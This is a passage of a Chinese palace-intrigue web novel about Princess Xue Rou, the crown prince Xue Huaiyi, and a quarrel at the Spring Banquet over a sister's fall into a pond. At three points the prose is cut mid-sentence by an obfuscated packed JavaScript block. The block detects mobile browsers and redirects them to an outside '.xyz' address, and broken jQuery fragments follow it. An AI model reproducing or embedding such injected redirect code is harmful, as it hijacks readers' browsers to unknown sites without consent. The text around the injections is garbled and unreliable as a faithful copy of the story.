见主子半死不活，小厮吓得魂不附体，两腿一软扑通跪倒，抓住祁化的胳膊摇撼哭喊：“少爷您清醒清醒，别吓我啊……” 祁化胃里直犯恶心，耳际又聒噪不绝，掀手照小厮的脑门拍了一下：“哭丧呢？滚滚滚！” 小厮破涕为笑，小心翼翼扶祁化站起来。 众目睽睽颜面扫地，祁化自不能轻易饶过，浮肿而涣散的小眼睛巡睃着：“是哪个王八羔子伸手害的我？站出来！” 所有人不约而同向薛怀义的方向注目。 当时，祁化扯脖子叫唤得起劲，一丁点没注意薛怀义不远不近立在后面，惯常示人的慈眉善目蒙上了一层阴暗的纱。 “送他进水里醒醒神吧。”薛怀义沉沉道。 程胜当时不解，祁化轻薄薛柔，两个皆非善茬，等同于狗咬狗，何必插手？ “十妹妹再不好，父皇母后教得，姑且轮不到一个外人指手画脚。”说这话时，薛怀义在看湖对岸。 薛柔是帝后的掌上明珠，半点委屈受不得，倘若祁化欺辱她而他袖手旁观，从而吹到帝后耳朵里，他们对他的成见必然更深。他虽为太子，却不过是个傀儡而已，并无实权，务必步步谨慎。 故此，祁化，非吃点苦头不可。 程胜费解，但依旧领命，便有了祁化湿成落汤鸡那一幕。 一看各人尽往太子处投去目光，祁化不好发作，皮笑肉不笑道：“太子殿下何故指使手下坑害我？” 薛怀义回笑，笑容很浅，几乎看不出：“适才你恣意戏耍的，是孤的妹妹。” 太子的妹妹？十公主……！祁化大惊失色，猛回头瞪大眼睛仔细瞅对面，令人瞩目的那点子绯红已然消失不见了。 薛柔恰恰是寻仇来了——祁化当众冒犯她的，以及薛怀义狗拿耗子多管闲事的。 “好大的阵仗，”薛柔一路快行，出现在众男宾眼前，“前呼后拥着轻薄别人。” 薛柔本人出场，十足叫祁化悔恨交加，脸面如死人般苍白难。 薛柔乜一眼一侧的薛怀义，冷冷丢了句：“收起你的虚情假意，我不需要。” 纵他薛怀义冷眼旁观，她也不会放任祁化逍遥自在。 程胜替薛怀义憋屈，鼻孔里出的气都粗了些。似十公主这等刁钻刻薄的主儿，根本不值得为她出头，太子殿下即便好心肠，也该看准人用对地方，何苦来！ 薛怀义默然不语，静悄悄瞧她命三喜抽了祁化一耳光。 在场之人无不倒吸凉气，好一个刁蛮公主，说动手就动手，够狠！ 除开挨过亲爹的打以外，祁化从未挨过第二个人的打，今日是开天辟地第一次，还是一个奴婢！况且他爹也没扇过他的嘴巴子！祁化舌顶腮帮子，恼羞成怒，扬胳膊作势打回去。 “你且打，打了就不止一耳刮子能解决的了。”薛柔不冷不热道。 小厮深知薛柔的厉害，弄不好闹到鸿胪寺少卿那，那祁化势必挨一顿板子，遂死命拉住祁化，低声劝阻：“少爷，小心十公主直接告到老爷跟前，那可就完了！” 薛柔是做得出来的。祁化忍辱放下手，因不敢挑衅薛柔，则狠狠瞪了眼三喜，拂袖走人。 主要人物离开，剩余人等自觉没趣，咂咂嘴四散开来。薛怀义没有动作。 “你怎么不走？”晦气接二连三找上门来，薛柔存着一腔不快，兼面对厌恶至极之人，语气夹枪带棒委实合理，“留着给我撒火出气么？” 每当她不高兴时，薛怀义首当其冲，遭受冷眼、忍受辱骂乃家常便饭，若气极了，纵烈犬扑他咬他也不足为奇。 坦白说，薛怀义蛮冤的。 薛怀义面色如常：“只要妹妹能消气，我如何都可以。” 他是反抗过的。但越反抗，她越嚣张，从一月寻一次麻烦，到十天半月，最后演变成三五天。后来，他学乖了，不论尊严如何被践踏，总是嘴角微扬，缄默以对。 薛柔施舍给他一个正眼。哪怕她个头矮，必须仰望于他，那双秋水眸里蓄着的，仍旧是终年不散的傲慢。她吃吃讥笑道：“她们知道你有如此下贱的一面么？” 她们——隔三差五对他阿谀奉承的舒婕妤薛嘉母女。这对母女贪图太子的身份，企图为以后的好日子铺一条通天大路，假如她们见识见识堂堂太子对她低声下气、没脸没皮的下贱样儿，还会处处捧着他么？ 薛柔有一个确切的答案，薛怀义亦然。 薛柔眼波转向绿莹莹的湖面，人丛里没有薛嘉。哼，八成是逮着薛怀义在此，巴巴儿往过赶呢。 果然，鹅卵石小径上，薛嘉率其婢女迎面走来。“太子哥哥！……十妹妹。”口吻如表情，对薛怀义由衷欢喜，对薛柔强颜欢笑。 薛嘉像块烦人的饴糖，直往薛怀义身边黏，薛怀义最知分寸，站远了些。薛嘉有所察觉，唇畔笑意僵了一瞬，后佯装无事，笑盈盈说起方才的乱子：“也就是十妹妹，才好治一治那祁三，要不然他也太猖狂了。” 祁化在家排行老三。 薛柔眨眨眼问：“我不管不顾打了祁三，父皇母后得知以后肯定会怪我，没准还要责罚我。如此，八姐姐也能高兴得起来吗？” 薛嘉一怔，待回味过来，不觉咬牙切齿。谁怂恿她薛柔打祁三了，不是她自己干的么？若事后被罚，那也是活该，竟然有脸给她设套？呸！ “妹妹占理，父皇娘娘怎么会怪罪妹妹呢？”薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799944|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉松开牙关，温婉笑道，“如果妹妹真挨了训，那我愿意陪妹妹一起。毕竟妹妹闯祸，我这个当姐姐的没能及时阻止，也有错。” 便是这等宁肯委屈自己的识大体品格，在父皇面前上演了一遍又一遍，骗得父皇怜香惜玉，日渐爱惜她们母女了。薛柔听笑了，差点拍手捧场：“八姐姐真不愧为淑女，真令我自惭形秽呢。” 薛嘉别一别鬓角的碎发，装傻充愣道：“妹妹休折煞我了，怪难为情的。” 再待着，薛柔怕按捺不住暴脾气而同薛嘉撕扯起来，就叫上三喜扬长而去了。 * 是夜，寒意料峭。 东宫书房内，薛怀义伏案，挑灯抄经。 乍然疾风四起，刮开虚掩着的窗子，冷风呼啸而入，吹乱经书，书页哗啦啦作响。 程胜闻声，轻步进来关窗，忽见一张纸随风飘落。程胜俯身，拾起那纸，但见素纸上勾勒出一副人像——绝代佳人，冷若冰霜。程胜心惊，这……这画的明明白白是十公主啊！ 薛怀义起身推上窗子，语调平平：“放下出去吧。” 程胜呼吸一紧，不觉又瞟手中的画像，惊疑交加。当真是十公主，那对眉眼，冠绝京城，绝对不会认错！而且用笔也是太子殿下惯用的手法…… 唯恐露出破绽惊动薛怀义，程胜故作无知，将画儿背面朝上安置于书案一角，躬身告退。 门户闭严，四下无风。偌大的屋子内，落针可闻。 薛怀义沉沉瞧着那微微泛黄的画纸，好似有什么冲出记忆深处，汹涌翻腾了起来。 “小十，从今以后，怀义就是你的哥哥了。来，叫哥哥。”八年前的景帝牵着八年前的薛怀义，对小小的薛柔说。 “我只有三哥哥、九哥哥，没有叫薛怀义的哥哥！”刚满六岁的薛柔，踮着脚双手抱下窗台上的花瓶，正冲着薛怀义砸了过去，“想当我的哥哥，你不配，永远都不配！” 薛怀义被砸个正着，两只手鲜血淋漓。景帝一言不发，挥手示意嬷嬷带薛怀义去包扎。 薛柔心如磐石，诸如野种、贱种、狗奴才的词汇都在薛怀义头上用过，唯独“哥哥”，从未有过。 啪嗒啪嗒——豆大的雨点打在窗棂上。下雨了，今年的第一场春雨。 薛怀义取了画像，摊开，再度执笔，在那螓首蛾眉上一笔一画地描摹。 这张脸，在他的世界里横行霸道了整整八年，生生将他的傲骨打得四分五裂，拼凑也拼凑不起来。 这眉，这目，这唇，深入骨血，此生难忘，尤其这双杏眼——原来少女的眼睛里，装着的不止天真烂漫。 遇见她后的岁月里，他夜夜难寐，满心满眼全是她的音容笑貌，已成了心魔，无休无止地折磨着他。但他仍要将她的脸画下来，一分不差地画下来，以此警醒自己，在这副美艳皮囊之下裹着的，是一副蛇蝎心肠，歹毒，可恶，可恨。 雨淅淅沥沥下了一整夜，东宫书房的窗纸闪了一整宿的光亮。 5. 春日宴 一年一度的春日宴，也是薛嘉的生辰。 这日天不亮，三喜为薛柔对镜梳妆。梳妆台上摆满了首饰，薛柔低眸扫一眼，竟无一样合意的。“罢了，本就不是什么要紧场合，盛装打扮了也是白搭。”若非碍着父皇母后的面子，她才不会出席。 薛柔一直对薛嘉的生日赶上春日宴这般好的日子而不满，每年逢这日，脸上一丝笑意也不见，下人们个个战战兢兢，生怕一句话不妥，触怒她。即便她身边的红人三喜，亦悬起心来伺候着。 三喜旁敲侧击道：“殿下，听说今儿小崔大人也会露面呢。” 讲究起来，崔介性冷孤高，似宴席这等人来人往的场合，他能推就推，奈何此次乃景帝亲口邀约，推诿不得。 而景帝存着哪门子心思，舒婕妤是第一个明白人：无非借此来增加崔介和她薛柔相处的机会，好成就一桩良缘。 舒婕妤却是连连冷笑，她的嘉儿温婉可人，琴棋书画样样拿手，胜过薛柔千倍万倍，这样出彩的姻缘，正匹配嘉儿。哼！既然人人皆偏心薛柔，那不妨来个顺水推舟，相信崔家二郎定会对嘉儿另眼相看。 算起来从上次崔家做寿至今，薛柔足足有小半个月未见过崔介了，心里痒痒的，耳闻今日有机会一解相思，恹恹的眸子立时闪亮起来，自妆台上挑了支白玉簪：“多余的不必，这支就够了。” 薛柔素来喜爱繁复装扮，日日都要花一两个时辰在仪容上，单插一根素色玉簪点缀，不是她的风格。三喜先拿了簪子在手，后狐疑道：“这是不是有些素了？” “就是冲素来的。”薛柔胸有成竹一笑。前段日子在崔家，她发觉崔介看她的目光隐隐约约掺着点无奈，他似乎不大欢喜她浓妆艳抹的样子。这好办，往后当着他素净些便是了，谁让他天然生着一副令她心动的面容呢，“小崔大人不喜欢艳的。” 三喜暗暗昨舌，一向唯有别人迁就殿下的份，看来殿下对小崔大人真上心了。 巳时过半，红男绿女齐聚御花园，阵阵说笑声盖过了鸟鸣，好不红火。 薛柔姗姗来迟，薛嘉正同几个千金小姐热络寒暄，见着她，便满面灿烂地迎过来。薛柔视而不见，朝廊芜下逗雀儿的九皇子薛通招一招手：“九哥哥！”随后提着裙边小跑开。 众人面前受了冷落，薛嘉面子挂不住，死死捏着手帕扯来扯去，总算冷静下来，像个没事人般继续和人谈笑。 “几天不见，九哥哥又清减了。”将薛通从头打量到脚，薛柔扁着嘴唇嗔怪道，“忙归忙，得好好吃饭呀！” 薛通只长薛柔一岁，身量却高出去一头，加上常年在军中，身板精壮，站在薛柔面前，尽可把她整个人罩得严严实实。 薛通的母妃淑妃容貌昳丽，风流多姿，有这么个美人母妃，相貌上，薛通自然无可挑剔，咧嘴笑起来，宛若正中午的太阳，璀璨夺目。 他伸手捏住薛柔的腮帮子，轻轻向两边一扯：“还好意思说我？瞅瞅，脸上都没肉了。” 薛柔举胳膊拍开他，故作气恼：“我长大了，以后别动不动就拉拽我。” 薛通背着手，嗤笑道：“长大了？嗯……你是长大了，学会打旁人的主意了。” 从小到大，薛柔有什么事都瞒不了薛通，好在他惯她，好事让她独享，坏事便是任劳任怨替她收拾烂摊子。薛柔猜着他暗含之意，侧着身子，犟嘴道：“我打谁的主意了？你少冤枉好人。” 薛通不紧不慢道：“是谁成日偷偷摸摸着人打听崔家二郎，结果被本人撞了个正着？连我都忍不住替她无地自容啊。” 薛柔涨红了脸：“你远在军营，打哪知道的？” “不消得费心多问，这事整个京城传遍了。”手下乐呵呵跟薛通说道时，他还不信，自己的妹妹心高气傲，世间没几个人能得她青睐；结果昨日回宫途中，耳朵里全是关于十公主挖空心思讨好崔家二郎的传言，简直听得他耳朵快起茧子了，这才信了。后来略略问了问这崔家二郎乃何许人也，人人赞口不绝，方感心安。 薛柔难得害羞，扭扭捏捏狡辩：“我打听他，单纯是赏识他的才华，没有别的想法，九哥哥你少给我扣帽子。” 右肩忽然叫人点了一点，是薛通干的，他并未接她的茬儿，而是向不远处并肩同行的二人挥手示意：“明觉，这儿。” 林显，字明觉，乃户部侍郎家的次子，如今在松山书院念书，为明年的秋闱做准备。 闻声，林显招呼着同行之人走来，拱一拱手：“九殿下，十殿下。” 前几年，林显做过薛通一段时日的陪读，两人聊得来，后头薛通到军营发展，林显继续读书走科举路，交情却一直没淡。 薛通笑说：“你这人哪哪都好，独独礼节太多，一举一动文绉绉的，叫人浑身不舒坦。” 林显温和笑笑，一思忖竟把一人晾在了一边，忙出言介绍：“这位是崔——” “我略有耳闻——新科状元郎崔大人。”薛通打断他下文，一面脸朝薛柔，“小妹时时挂在嘴边呢。” 薛通与帝后的念头不谋而合：崔介要品行有品行，要才华有才华，小妹最重视的样貌也数一数二；此等人物，招为驸马，不亏。 不期薛通打趣自己，薛柔格外不自在，以眼神警告他的心力也匀不出来，只管抿嘴一声不吭。 林显生性木讷，觉察不到几人间微妙的氛围，颔首笑道：“不料想九殿下的人脉如此之广。” 斜眼一看薛柔的呆模样，薛通便号着脉象，准是害臊了。薛通哑然失笑，心想这小十老是关键时候不争气，这可不行，还得他牵个头，助她一臂之力。遂而随便寻个由头约着林显且聊且走了，光剩下两个半生不熟的人沉默对望。 教养使然，崔介淡淡打破寂静：“殿下也喜欢诗经吗？”他淡漠的眼光于薛柔手握的团扇上定格。 起先薛柔糊里糊涂，压根没搞清楚状况，默默重复两遍他的问题后，恍然大悟——听说他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799945|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱看书，特别是诗经，临出门前她特意拿上去年夏天三哥哥赠的那把团扇，上头绣着两行小字，依稀记得出自诗经，用来充一充面子，从而赢得他的好感。 “啊……是啊，我闲暇之余就爱翻一翻诗经。”她心里虚得慌，什么四书五经，她才懒得翻看，纵有闲工夫，一并使在了贝贝身上。对于学问，她其实一知半解。 她的心虚，崔介洞若观火，倒无甚感触。她或是撒谎或是实情，与他八竿子打不着。“此处风大，殿下不若往里面站站，好歹挡一挡风。” 春日的风，凉意未退，吹在人脸上依然忽视不得。 薛柔点点头，不禁遐想连篇：他要她躲风，是关心她吗？……一定是关心她的，要不然好端端的干嘛去提那一嘴。越想，越开心，开心之余又有些得意，合着他也并非全然不近人情嘛。 “小崔大人很少来御花园吧？”面对面却无话可说总不是回事，薛柔便就地取材，发散思维，趁机套近乎。 崔介道：“今天是第二次。” 第一次是五年前，他随母亲进宫拜谢皇后娘娘赏赐之恩。母亲上坤宁宫谢恩，叫他随处逛逛，这一逛就到了御花园。 蜿蜒的甬道上，阳光穿过细密的枝叶透下来。拐角处，有两个半大孩童，女娃娃牵着一条半大的黑狗对身前的男娃娃恶言相向，甚至命令那狗前去撕咬男娃娃。 恐打草惊蛇，他悄无声息地离开了。 彼时他不得而知那二人的身份，现在，他有了结论——他转眼望向湖心亭负手而立的长影，心下微动。 “你在看什么？”长久未得到他的回应，薛柔忍不住问，双目则循着他的凝望而偏转。看清到底是什么人以后，不由添了分嘲弄之意：“崔大人日日上朝，总不见得不熟悉太子殿下吧？” 走哪都甩不掉，当真阴魂不散。 薛怀义同时间望了过来，带着微不可察的审视。崔介，当朝红人，新一任的能臣，前途无可限量。她现在的心头好，没准也是来日的驸马。清贵君子，她无法抗拒的类型。 相隔重重人影，崔介、薛怀义四目相对。许是错觉，崔介感觉对面的注视阴阴郁郁，不太友善。 “园子里有许多值得游览的景致，”一个人卑贱起来，处处都是卑贱的：一个眼神、一个动作、一句话……薛柔不愿让崔介走入薛怀义低贱的视野，横跨一步，以身躯阻隔二者的对视，“崔大人要一起吗？” 鬼使神差地，崔介开口应下了：“好。” 薛柔走左边，崔介走右边；薛柔加快脚步，崔介放慢脚步；衣袖联着衣袖，肩膀擦着肩膀……渐行渐远。 薛怀义目送他们远去，直至眺望不见。 “太子哥哥，东边的花儿开得正盛，咱们一同去赏花吧。”薛嘉翩翩步入薛怀义的眼帘。 他们去的方向，恰好也是东边。 同样鬼使神差般，薛怀义没有如往昔拒绝薛嘉，沉而缓地说：“……好。” 6. 污蔑 这个时节，万物复苏，春意盎然。 东湖旁有个荷塘，里头养着一大群红鲤鱼，会时不时跃出水面来，再搭上那一池子荷叶，郁郁葱葱的，既赏心悦目，又趣味无穷。 薛柔约着崔介登临石桥，特意问宫人讨了些鱼食，凭栏赏玩。 “崔大人要喂一喂吗？”薛柔摊开手掌心，有意分一半鱼食给他。 崔介淡然道：“多谢殿下好意，微臣看殿下喂就好。” 薛柔怪里怪气道：“崔大人是不是嫌弃我，不肯从我手中接鱼食，所以干脆回绝了我啊？” 崔介泰然自若的面孔有一刹那的凝滞，在薛柔觉察之前，恢复如常，口吻不冷不热：“微臣不敢。” 还以为他会有解释，结果只一句“不敢”便带过了。薛柔性子里的那股子执拗发挥作用，使她将手心直直送到了他面前，不容置喙道：“既然不敢，那崔大人还犹豫什么？” 她的目光同她的举动如出一辙，直接，强硬。崔介稍觉冒犯，退后一些，双手伸出去，搁在那素手下方，视线随之放低，落到灰白的桥面上，音量不大不小，亦辨别不出所含的情绪：“微臣遵命。” 强人所难这种事，薛柔时常为之，横竖达成目的就行，过程怎样，无所谓。可今时今日，这招使在崔介身上，竟觉如芒在背，如鲠在喉，从头到脚、从里由外地别扭。 “算了，崔大人爱旁观便旁观吧。”为了让自己舒坦一点，她做出退让，收回胳膊，转向栏杆，张开手心，将鱼食抛撒入池塘。鱼群攒头摆尾争相抢食，靠近脚下的池子里映出一片鲜红，果然好看。 崔介闷声不响，俯瞰鲤鱼争食。 三喜眼观六路耳听八方，一眼捕捉到正朝桥上来的一双人影，心下一凛，忙凑去薛柔身边耳语：“殿下，太子殿下和八公主也过来了。” 薛柔一摔手，小半把鱼食倾泻而下，鲤鱼群更疯了，身子贴身子头挤头争夺。“我倒要看看，一个两个安着什么心。”她挺胸抬头，直面那对不速之客。 薛怀义骤然住脚，引得薛嘉拧眉询问：“太子哥哥，怎么了吗？” 崔介便站在薛柔身后，郎才女貌，堪称天造地设的一对。偏偏如是一对璧人，落在薛怀义眼底，既陌生又刺眼，莫名其妙。 “来得匆忙，忘记准备鱼饵了。”他温温笑道。 她对他的敌意深不可测，嫌他的出现破坏了她与崔介的祥和时光，他悉数明了。 她的厌恶溢于言表，可那又如何？恰恰因为她会厌恶，他才要出现，碍她的眼，坏她的好事——谁都别指望好过。 薛嘉松弛道：“十妹妹才喂过，向她讨一些来就好了。” 及上了桥，薛柔的冷嘲热讽劈头盖脸砸来：“这么巧，八姐姐和太子殿下莫不是存心跟着我们来的吧？” 薛嘉暗暗讥笑，人崔大人同意和她薛柔绑在一块吗，她就称“我们”？ “妹妹说笑了。”薛嘉以不变应万变，柔柔笑道，“这池子里的红鲤鱼是远近闻名的，既来趟御花园，不趁着阳春三月来观赏一番，岂不可惜。” 冠冕堂皇的说辞，叫人挑不出错处，倒衬得薛柔胡搅蛮缠。 “八姐姐伶牙俐齿，我辩不过你。”薛柔敛起问罪的架势，回头看崔介，“这儿没意思，不如换一个清净的地方，也不至于扰得崔大人眼烦心乱。” 崔介喜静，另寻别处不失为一个稳妥的提议，但非同薛柔一路，比起八公主太子，她更难缠。 “不必了，微臣还有事寻林公子，不好再耽搁了。”崔介作揖，“微臣告退。” 言下，徐徐而去。 人家有事待办，薛柔不好纠缠，以目静静相送。 薛嘉不知不觉靠到了她身侧，抿嘴笑问：“十妹妹可以分我些鱼食吗？我跟太子哥哥也想试着喂一喂。” 言讫，睇向手捧装鱼饵盒子的三喜。 崔介走了，薛柔心里不爽，压着火气，冲三喜勾勾手：“把盒子给我。” 三喜双手奉上。 薛嘉转眸去看后边默然无声的薛怀义：“太子哥哥，快过来呀。” 话刚放下，却见薛柔掀开盒子，不假思索地将小半盒鱼饵悉数倒入池子里，薛嘉惊呼：“十妹妹……” 把空盒子丢给三喜，薛柔扫视着面前的两张面孔，腮边漾起浅薄的笑弧：“我的东西，没有与人分享的习惯。” 既是给薛嘉难堪，更是针对薛怀义。 薛嘉面上红一阵白一阵，瞥着水面漂着的那层浮沫，半晌没吱声。 “八姐姐爱赏荷看鱼，那便自自在在看吧，我是乏了。”薛嘉吃瘪，薛柔心甚慰，嫣红的唇瓣高高扬起，露出两排玉齿，乃至将走之时，故意撞了下薛嘉的肩膀。 谁知这一撞竟出了意外——薛嘉浑身摇摇晃晃，石桥两边的栏杆又矮，一个不慎跌下栏杆，坠了水。 薛嘉的贴身婢女莺儿飞冲至栏杆前，弯着身子叽叽喳喳叫唤个不住：“殿下，殿下！快来人救救殿下，殿下她不会水啊！” 那池子里的水清晰见底，根本不深，淹不死人。薛嘉万分不屑，乜着胡乱扑腾的薛嘉：“八姐姐就别演了吧，那水至多没过你的腰，自个儿站起来完了。” 忽然有个人跨过石栏，一头扎入水下。是薛怀义的好奴才程胜。 薛柔从旁奚落道：“这便着急了，不愧是八姐姐放在嘴上的太子哥哥。” 薛怀义未应声。 程胜如鱼得水，不多时背着薛嘉上岸。 薛怀义解下外袍，递与莺儿。莺儿牢牢抱住，扑到薛嘉身边问东问西。薛嘉脸朝地咳出一口凉水，湿漉漉的脊背上下起伏着。 薛柔慢慢下桥，冷眼看她如何。 深色衣袍紧紧裹住薛嘉浸水的躯体。 “十妹妹金尊玉贵，瞧不上我我没有怨言，但……”薛嘉抬起红彤彤的眸子，钩子似的盯住薛柔，“但我万万没料到妹妹会做到这份上，明知我不会游水，眼睛都不眨地推我下水……” 旋即抱着肩膀低头啜泣不止。 薛柔的表现截然相反，笑得动人：“八姐姐糊涂了吧？我只用胳膊碰了你一下，是你自己装弱不禁风跌下去的，你怎么反过来怨我？” 闻言，薛嘉哭得越发厉害，简直泣不成声。 莺儿心疼主子，跳出来愤然维护薛嘉：“十殿下未免太过分了……奴婢瞧得清清楚楚，我们殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799946|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实是被您出手推搡了一把，才落的水。再说了，我们殿下自知不会水，又怎会冒着性命危险而主动往水里跳呢？” 薛嘉掩脸，闷闷道：“我原以为妹妹单是年纪小调皮顽劣，本性并不坏，不料今日……做了也算了，横竖我现在没大碍。可是，可是妹妹，你真不该肆意污蔑人，会伤父皇娘娘的心的……” 莺儿随主抽抽噎噎的：“殿下沦落的这样，婕妤也会痛心的……” 主仆俩一唱一和，势必让薛柔背上个蓄意谋害亲姐的罪名，三喜随了薛柔直快的脾性，再看不下去，跑去扯开莺儿，照脸打了一巴掌：“你这小娼妇，胆敢给殿下泼脏水！你哪只眼睛看见我们殿下伸手推人了？再敢胡说攀污好人，看我不撕烂你的嘴！” 莺儿不服，放开手脚和三喜厮打作一团。 薛嘉仍跪坐在地呜呜垂泪，薛柔不耐烦：“你也用不着哭成泪人扮可怜，是黑是白，咱们去当着父皇一是一二是二地分辨明晓。” 而后近前俯身，意欲拽她起来，不意手腕被一只手当空按住——手背上凸着根根青筋，指节长而瘦，微微发凉。 “少管闲事。”看清是谁后，薛柔的语气冷到了极点。 “我看到了。”薛怀义没有松开她，且一改旧日之谦卑，明目张胆地盯着她，“十妹妹不曾出手推八妹妹，落水是意外。” 哭音戛然而止。薛嘉猛举目，哽着嗓子呢喃：“太子哥哥……？” 薛柔则懵了，乃至于忘记甩开圈住手腕的温度。 “莺儿，扶八妹妹回去更衣。”薛怀义沉稳吩咐，“人多眼杂，八妹妹的名声要紧。” 扭打的二人不约而同停手，各自有各自的狼狈：莺儿披头散发，三喜衣领歪斜。 三喜兜正衣裳，粗气粗气道：“快送你家的好殿下回吧，这遭就算我放你一马！” 莺儿气得脸歪嘴斜，草草拢了拢散乱的头发，好赖像个体统。继而去搀扶薛嘉，却被薛嘉撇开。 薛嘉软绵绵起来，泪痕满面，眼珠子通红，真叫是楚楚可怜。 “太子哥哥也认为是我红口白牙污蔑别人吗？”到她嘴里，薛怀义摆在第一位，薛柔沦为了旁人。 而薛怀义仍实实在在扣着薛柔。 薛嘉的诘问刚好提醒了薛柔，她一使力，甩脱束缚，不留情面挤兑薛怀义：“早让你少插手，你非装模作样帮我。快快哄哄你乖巧的八妹妹吧，省得日后懊悔不及。” 瞬息之前，指腹之下印有一片细腻，一片温暖。薛怀义一点一点弯曲了手指，指纹贴着掌纹。 “莺儿，送八妹妹更衣。”他避而不答。 有些时候，没有答案便是答案，薛嘉有了数。 “太子哥哥，不管你信不信，总之我没有冤枉他人。”莺儿搀薛嘉走过薛怀义眼前之际，薛嘉说。 薛怀义不由自主开去寻觅薛柔的影子，但见她不知多会领三喜走开了。 攥紧的手指好似失了力气，缓缓分开来。 “嗯。”薛柔固然可恨，但眼见为实，这次她是无辜的，“八妹妹自珍重。” 始终等不到称心如意的回应，薛嘉一时气馁，由着莺儿带自己渐渐远离。 7. 告状 白白泡了一顿凉水，薛嘉心怀愤懑，直奔舒婕妤处添油加醋地痛诉冤情。 舒婕妤畏寒，屋子里还烧着炭盆，暖烘烘的。她一面命宫女速去烧热水，一面牵着薛嘉靠火盆前的绣墩子上坐定，亲手拿手巾给薛嘉擦脸，磨牙凿齿道：“这个薛柔欺人太甚！” 然后口气一变，软和下来：“好了好了，别哭了。今儿这口恶气咱们不忍，等晚上你父皇得了闲，好歹讨个公道回来。” 安顿好薛嘉，天色垂垂暗下来，舒婕妤说到做到，步行至上书房，却被告知陛下并不在此，一炷香前就起驾到坤宁宫同皇后共进晚膳了。舒婕妤兀自怄了会气，改道向坤宁宫。 坤宁宫内，帝后觌面端坐，薛柔耷拉着脑袋站立，咕哝：“明明是八姐姐找事妄图陷害我，我凭什么给她赔不是……” 阖宫上下的动静，尽瞒不了景帝，况且白日御花园里闹得乌烟瘴气，口耳相传，几乎尽人皆知。景帝闻之，十分不悦，忙完手头上的政务便马不停蹄来坤宁宫问个究竟。 “你还有理了？”景帝生平最看重皇家颜面，而今两个公主当众争执，堪比街头泼妇，实在丢人，动肝火乃情理之中，“你们平时小打小闹朕姑且睁一只眼闭一只眼，只当你们也知分寸，懂得以大局为先，总不至于败坏体统。如今可倒好，春日宴，几百个人，上千双眼睛——皇家威严就轻易被你们当作了儿戏。朕如何能不生气！” 皇后使个眼色与许嬷嬷，许默默心领神会，蹑手蹑脚退下，俄而奉上一盏香茶。 “陛下，吃口茶润润喉，过会再训斥也不迟。”景帝鲜少动怒，一旦动怒，那谁来劝也不济事，皇后心存忌惮，不敢明白了求情，只得迂回婉转道。 若任当下的怒气蔓延，景帝定然一手挥落茶盏。然而少年夫妻携手共历酸甜苦辣大半辈子，不能不顾念这份情谊。景帝沉吟片刻，端茶浅尝辄止，那股子火气略略消减：“朕再问你，你可知错了？” 薛柔倔强依旧：“儿臣没有错，错的另有其人。” 生恐景帝雷霆大怒，皇后抢先呵了一嗓子：“还顶嘴！快跟你父皇老老实实认个错。” 薛柔半是不平半是委屈道：“儿臣没有要害她，是她心怀鬼胎算计儿臣，丢了颜面也是因为她……不干儿臣的罪名，儿臣必不能认。” 见景帝面色铁青，皇后忙打圆场：“我们何曾说过是你害的人？说你，不都是为了让你记住，以后收着点性子，莫再肆意妄为了。” 长到十五岁，薛柔没挨过一句重话，今昔是第一次，怎能安然接受，话接着话辩驳：“当时也不是我一个人在场，父皇母后要训话，合该把薛嘉叫过来听着，这才公平。” 说曹操曹操到，罪魁祸首的生母抵达现场，央龚福进来请示：“陛下，娘娘，舒婕妤求见。” 薛柔扭脸看窗外，果然瞧见身着素衣、素面朝天的舒婕妤，不觉冷笑。往常属她招摇，巴不能把金山银山堆头上，走起路来左摇右摆她那水蛇腰，妖娆至极。今儿个改头换面，和薛嘉装到一块了。哼……准没好事！ 景帝发话：“叫她进来。” 人未到声先至，一阵啜泣飘忽而来，紧接着舒婕妤步子虚浮地进门，不由分说双膝触地，有道是恳求帝后为可怜的薛嘉主持公道，讨伐元凶。 贼喊捉贼的行径薛柔深恶痛绝，狠狠剜着舒婕妤：“少胡乱攀扯人，真要惩罚元凶，直接去——” “住嘴！”景帝厉声打断她，之后叫舒婕妤起来说话，舒婕妤哭哭啼啼不肯应，坚称要个说法，景帝束手无策，扶额无话。 舒婕妤诬赖薛柔，皇后身为人母，自然不买账。自己生的女儿自己了解，她是娇蛮不错，或许平时行为举止有失分寸，但故意害人这种事绝对做不出来；退一万步，纵有，也不屑于扯谎掩盖。 “你别一味掉泪，这解决不了问题。”皇后端正身姿，板正面孔，尽展中宫庄严，“你信誓旦旦指认十公主坑了八公主，证据何在？” 舒婕妤有备而来，出口成章：“四下全看见是十公主伸的手，这还不够吗？” 说罢打起感情牌：“娘娘也是生儿育女的人，若白天泡在池子里的人是十公主，您怕是比嫔妾更为痛心……” 